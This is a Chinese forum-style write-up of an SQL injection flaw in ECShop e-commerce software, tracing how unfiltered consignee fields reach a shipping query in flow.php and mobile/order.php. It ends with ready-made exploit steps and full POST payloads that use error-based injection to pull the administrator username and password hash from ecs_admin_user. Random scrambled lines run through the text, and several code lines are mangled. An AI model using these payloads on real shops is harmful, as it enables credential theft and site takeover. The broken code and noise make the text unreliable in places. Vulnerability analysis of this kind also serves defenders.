ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
- Q6 W5 Z; n6 u& F
, A- X4 X3 p% U5 }5 c8 q9 W    漏洞关键文件：

    /includes/lib_order.php

! @6 ^& D* _( C( a0 A: R/ ^8 V    关键函数：
( v% l3 Q5 W& W( l

& j! |/ o) W) k8 Q
01     function available_shipping_list($region_id_list)

02 {

! L  n; P' w# f- z# ]03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; s1 z6 D" t# Z) a! H
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
+ X0 y/ ~& f( O- d; V" r
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
* e1 f; c" ^3 s2 o! b. T8 Q
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

& [# V4 G0 {# l  ]# p07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

4 B0 A  t  t% T# r! R" k8 m08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
2 d5 `* M8 l$ ^# m
11     return $GLOBALS['db']->getAll($sql);
% F8 m- C. M3 X+ o$ I9 v
12 }
$ x3 i0 _4 @2 s. V  p  c8 j
显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   
* S; \1 V) \: J  d  W
' `' ?6 s6 N4 V1 $shipping_list     = available_shipping_list($region);





3 _  `  Q! l" I. B) |3 E再对传入变量进行追踪：

% u% H5 y- \% l第530行：   
, O7 k' f. a9 i! Y! l
0 E8 x6 T3 ]. A  W1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

+ Z3 x. n' O5 @0 `1 }, y/ S

) X4 `  h) l+ _( M1 d" r

第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
( z) Q% c7 |; @7 x
到了一个关键函数：
; A1 Y6 k8 h( @
5 I) Y3 Z% y! A/includes/lib_order.php
" k6 d1 O& f/ ~- F* ?0 w3 _. E( _
4 H7 ?% A4 u4 r2 Y1 E3 B- l

1 h6 i" L: h/ h2 L6 {

! C/ o: V' m0 ~  Y01 function get_consignee($user_id)

2 H. e; N3 p5 C4 _9 p- o: I7 v02 {

03     if (isset($_SESSION['flow_consignee']))

" t0 i* I* Q% }- u' W/ u% V04     {
+ H# W5 y- q- t" F! y
3 Z7 v/ I* X" n05         /* 如果存在session，则直接返回session中的收货人信息 */

# C* ^  [9 F2 g( @7 E- j2 O0 K. G06   

8 D& l7 `5 r7 R  p( J& b4 Q: c7 u07         return $_SESSION['flow_consignee'];
: O# j. X9 j6 u$ Q  u  y
4 ~' }+ n3 v; L6 ?# [. J08     }

09     else

3 Z" M6 f0 |, c8 d/ F7 Y, z10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
+ E5 c$ w$ ]- g4 H' g4 |6 l+ `* x# L" Z
5 G: B6 l+ U4 P1 ~$ j* u. F/ d, N12         $arr = array();

13   
. x# q; e% D$ v! K# M: u: ?3 ?
- }9 a0 }# p+ U8 n: P  I6 q14         if ($user_id > 0)
$ C) H( X5 v1 v
15         {

0 L0 n. `  o' Q! W16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
0 i$ E; _) d- v( f& c
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
# d4 s- l6 x: J; D
21             $arr = $GLOBALS['db']->getRow($sql);

  K+ p' p* f. \5 A0 L0 j4 u22         }

; m, r1 Y+ B( T& ?; s( b! H5 j0 V23   
+ d* U; Y7 _& S$ d
2 Q  W/ w8 |6 c% |' y24         return $arr;
3 j8 _+ X6 v% W$ D! Q
( n6 i/ z6 B. f( q+ X5 x# Y, h  A' m25     }
! j; |7 L: f" H* s" p. E6 x9 S7 f
0 C6 U, o! D# O0 ]26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？


) s/ _, ~% b5 n( {
5 z1 r5 B1 t; n0 h关键点:

  e* |8 j$ K& O% Z5 J- R- K. p第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
2 B3 C4 M5 k" C% g
- ~! Q6 e. |0 ^2 d8 R这里对传入参数反转义存入$_SESSION中。


/ s. ^0 o/ v2 }9 Y! ]
1 g. c: a1 E' |) `5 m; k2 n然后看下：

, o+ m2 h4 m  _. `5 N
0 u$ v  F- f  i- ]3 K" y" o6 L. i" Y
   
0 c# `# A) L. |. e: z3 @5 r# ^
01 $consignee = array(

8 }. l. y* [( m! y; W' R02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
3 d+ K7 S' h( t
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
$ Z, v& L( k% y* ?
$ g" B% W( @& w3 U0 k  I2 }$ s06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
- _1 [* n* L( P" w
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

/ t8 k1 D+ ^& C5 B6 l- B10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
1 Q' a1 _4 [+ x1 a
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
7 f# Y! P; E( z
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
' Z  r2 r2 u+ q/ R3 b3 N/ b
/ X3 w5 Z8 ^4 P好了注入就这样出现了。
0 y, n4 t* O+ o4 R2 y
==================

注入测试：
& e, G* L4 e9 {
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
: j9 Y4 C. Z- C8 a
* w# N# g+ w9 u. `' u4 w4 t, S测试程序：ECShop_V2.7.3_UTF8_release1106


" h+ N1 ^/ h8 n
1.首先需要点击一个商品加入购物车
* N( G* ]& Z1 c  ?
8 \7 Z) l4 E4 s; T0 `2.注册一个会员帐号
; b) k) v( D) B( s, Y2 l! X" V
3.post提交数据

" N/ C7 V& l+ w

2 D+ D8 l& w+ F) b6 B9 t6 e1 http://127.0.0.1/ecshop/flow.php
3 z4 j( q, `) `2 v1 r- k. m: b3 Q
' r3 w- R) u9 ^* B2 G" R4 h2   

. y+ _- P; y. `$ |) }* w+ k3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
( Q  H" E0 O+ {4 B$ d  \+ ]
& E# o- V) |2 W5 d) ]( r: K在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
' E) `  k7 Y) H' H. n! x, h+ m: v
1 @" z5 J0 z  P7 u1.点击一个商品，点击购买商标

( h1 b2 e( |+ K& h6 C2.登录会员帐号

3.post提交：
" g4 |) o( A: j& P& j4 c4 B
( N$ n0 E# G8 u9 G( Xhttp://127.0.0.1/ecshop/mobile/order.php

" B3 p% N7 E# b0 f1 ^

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( }- T# a- J( o/ g! l- u